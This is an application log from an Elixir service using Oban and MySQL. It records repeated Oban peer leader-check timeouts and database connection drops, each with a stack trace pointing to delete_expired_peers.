    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:22:10.856000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:22:11.314000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:22:15.857000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:22:20.425000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:22:54.455000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:22:59.456000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:23:04.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:23:37.468000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:23:42.469000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:23:46.319000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:23:47.290000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:24:22.327000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:24:27.328000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:24:32.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:25:07.325000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:25:12.326000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:25:16.968000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:25:51.002000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:25:51.970000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:25:56.005000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:26:00.092000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1224.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 15:26:34.123000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:26:39.124000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:26:43.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:27:16.320000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:27:21.321000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:27:25.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:28:00.534000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:28:00.568000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:28:05.444000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:28:05.569000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:28:10.281000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:28:45.314000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:28:50.315000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:28:54.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 15:29:28.795000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 15:29:33.796000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
